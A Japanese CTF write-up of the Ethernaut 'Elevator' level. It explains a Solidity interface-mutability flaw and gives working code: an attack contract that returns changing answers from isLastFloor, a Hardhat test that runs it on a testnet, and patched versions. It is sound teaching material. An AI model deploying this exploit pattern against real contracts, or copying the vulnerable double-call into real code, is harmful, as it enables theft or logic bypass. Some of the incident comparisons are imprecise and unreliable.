Appearance
Ethernaut CTF レベル「Elevator」の詳細解説:Solidityにおけるインターフェースの悪用と状態可変性の脆弱性
はじめに
Ethernautは、Solidityスマートコントラクトのセキュリティを学ぶための実践的なプラットフォームです。本記事では、その中の「Elevator」レベルを詳細に分析し、スマートコントラクトの設計上の脆弱性とその悪用方法について解説します。このレベルは、Solidityのインターフェース実装における重要なセキュリティ問題を浮き彫りにする優れた教材です。
問題の概要
コントラクトの目的と仕様
Elevatorコントラクトは、建物のエレベーターを模したシンプルなスマートコントラクトです。ユーザーは特定の階に移動するgoTo関数を呼び出すことができますが、このコントラクトには重要な制約があります:top変数がtrueに設定されるのは、指定された階が「最上階」であると判定された場合のみです。
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint256) external returns (bool);
}
contract Elevator {
bool public top;
uint256 public floor;
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
コントラクトの動作フロー
goTo関数が呼び出されると、呼び出し元アドレスをBuildingインターフェースとして扱う- 指定された階が最上階でないかどうかを
isLastFloor関数で確認 - 最上階でない場合、
floor変数を更新 - 再度
isLastFloorを呼び出し、その結果をtop変数に設定
脆弱性の分析
インターフェースの状態可変性の欠如
このコントラクトの根本的な問題は、BuildingインターフェースのisLastFloor関数の定義にあります:
solidity
function isLastFloor(uint256) external returns (bool);
重要な点は、この関数宣言に**状態可変性修飾子(state mutability modifier)**が指定されていないことです。Solidityでは、関数が状態を変更しないことを明示するためにviewやpure修飾子を使用しますが、このインターフェースではそのような制約が課されていません。
二重呼び出しパターンの危険性
Elevatorコントラクトは、同じ関数isLastFloorを2回呼び出しています:
- 条件チェックのため(
if (!building.isLastFloor(_floor))) top変数の設定のため(top = building.isLastFloor(floor);)
この設計は、呼び出し先のコントラクトが状態を変更する可能性を考慮していません。もしisLastFloor関数が呼び出されるたびに異なる値を返すように実装されていたら、コントラクトのロジックを破ることが可能になります。
攻撃の実装
悪意あるBuildingコントラクトの作成
攻撃者は、Elevatorコントラクトの期待に反する動作をするBuildingインターフェースを実装します:
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Hack {
Elevator private immutable target;
uint private ct;
constructor(address _target) {
target = Elevator(_target);
}
function runGoTo() external {
target.goTo(9999999);
require(target.top(), "Still on the way, CRACK fail!");
}
function isLastFloor(uint256) external returns (bool) {
ct++;
return ct > 1;
}
}
攻撃コントラクトの動作原理
- 状態変数の利用:
ctカウンター変数を使用して、関数が呼び出された回数を追跡 - 異なる戻り値の返却:
- 最初の呼び出し(条件チェック時):
ctは1になるので、ct > 1はfalseを返す - 二回目の呼び出し(
top設定時):ctは2になるので、ct > 1はtrueを返す
- 最初の呼び出し(条件チェック時):
- ロジックのバイパス:この動作により、Elevatorコントラクトは「最上階でない」と判断して階を更新し、その後「最上階である」と判断して
topをtrueに設定します
テストの実装と検証
Hardhat環境でのテスト実装
攻撃が正しく機能することを確認するためのテストコード:
typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { Elevator, Hack } from "../typechain-types";
describe("Elevator", function () {
describe("Elevator testnet sepolia", function () {
it("testnet sepolia Elevator", async function () {
const ELEVATOR_ADDRESS = "0x...";
const ELEVATOR_ABI = [
"function top() external view returns (bool)",
"function floor() external view returns (uint256)",
];
const challenger = await ethers.getNamedSigner("deployer");
const elevatorContract = new ethers.Contract(ELEVATOR_ADDRESS, ELEVATOR_ABI, challenger);
// 初期状態の確認
const TOP_DEFAULT = false;
const top_before = await elevatorContract.top();
expect(top_before).to.be.equals(TOP_DEFAULT);
const FLOOR_DEFAULT = 0;
const floor_before = await elevatorContract.floor();
expect(floor_before).to.be.equals(FLOOR_DEFAULT);
// 攻撃コントラクトのデプロイ
const HackFactory = await ethers.getContractFactory("Hack");
const hack = (await HackFactory.deploy(ELEVATOR_ADDRESS)) as Hack;
await hack.waitForDeployment();
// 攻撃の実行
const tx = await hack.runGoTo();
await tx.wait();
// 攻撃後の状態確認
const TOP_UPDATED = true;
const top_after = await elevatorContract.top();
expect(top_after).to.be.equals(TOP_UPDATED);
const FLOOR_UPDATED = 9999999;
const floor_after = await elevatorContract.floor();
expect(floor_after).to.be.equals(FLOOR_UPDATED);
});
});
});
テストの検証ポイント
- 初期状態の確認:
topがfalse、floorが0であることを確認 - 攻撃実行:Hackコントラクトの
runGoTo関数を呼び出し - 結果の検証:
topがtrueに変更されていることfloorが指定した値(9999999)に更新されていること
セキュリティ対策とベストプラクティス
修正されたElevatorコントラクト
脆弱性を修正したバージョン:
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint256) external view returns (bool);
}
contract SecureElevator {
bool public top;
uint256 public floor;
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
// 一度だけ呼び出し、結果を変数に保存
bool isLast = building.isLastFloor(_floor);
if (!isLast) {
floor = _floor;
top = building.isLastFloor(floor); // 依然として脆弱
}
}
}
// さらに安全な実装
contract MoreSecureElevator {
bool public top;
uint256 public floor;
// 信頼できるBuildingコントラクトのアドレスを制限
address public trustedBuilding;
constructor(address _trustedBuilding) {
trustedBuilding = _trustedBuilding;
}
function goTo(uint256 _floor) public {
require(msg.sender == trustedBuilding, "Unauthorized");
Building building = Building(msg.sender);
bool firstCheck = building.isLastFloor(_floor);
if (!firstCheck) {
floor = _floor;
// 同じパラメータで再度チェック
bool secondCheck = building.isLastFloor(_floor);
top = secondCheck;
// 一貫性チェック(オプション)
require(firstCheck == secondCheck, "Inconsistent building response");
}
}
}
重要なセキュリティ原則
- 状態可変性の明示:インターフェース関数には常に適切な状態可変性修飾子(
view、pure)を指定する - 外部呼び出しの結果のキャッシュ:同じ関数を複数回呼び出す代わりに、結果を変数に保存して再利用する
- 信頼境界の明確化:外部コントラクトを完全に信頼しない設計を採用する
- 一貫性チェックの実装:外部コントラクトの応答が一貫していることを検証する
実世界での影響と関連事例
類似の脆弱性事例
- TheDAO事件(2016年):再入攻撃(reentrancy attack)は、外部呼び出しの前に状態更新を行わなかったことが原因
- BatchOverflow脆弱性(2018年):整数オーバーフローと外部呼び出しの組み合わせによる問題
- Uniswapの初期実装:類似の外部呼び出しパターンがあったが、適切なセーフガードが実装されていた
現実世界での応用
この種の脆弱性は、以下のような実世界のシナリオで問題となる可能性があります:
- オラクル依存コントラクト:外部データプロバイダーからの応答が一貫していない場合
- デリゲートコールパターン:プロキシコントラクトの実装における類似の問題
- プラグインアーキテクチャ:拡張可能なコントラクトシステムでの外部コンポーネント呼び出し
まとめと教訓
EthernautのElevatorレベルは、スマートコントラクト開発における重要な教訓を提供しています:
外部コントラクトの呼び出しは常にリスクを伴う:呼び出し先のコントラクトが悪意ある動作をする可能性を常に考慮する必要があります。
インターフェース設計の重要性:インターフェース定義時には、状態可変性修飾子を適切に指定することが不可欠です。
決定性の確保:スマートコントラクトの動作は完全に決定論的であるべきで、外部要因によって異なる結果が生じるべきではありません。
最小権限の原則:外部コントラクトに与える権限は必要最小限に留め、可能な限り制約を設けるべきです。
このレベルの根本的な教訓は、「信頼できない外部エンティティに対して、同じ関数を複数回呼び出して異なる結果が得られる可能性を許容する設計は避けるべき」 という点に集約されます。スマートコントラクトのセキュリティは、このような細部への注意によって強化されるのです。
Solidity開発者は、外部コントラクトとの相互作用を設計する際には、常に最悪のシナリオを想定し、コントラクトが期待通りに動作し続けることを保証する防御的プログラミングの原則を適用する必要があります。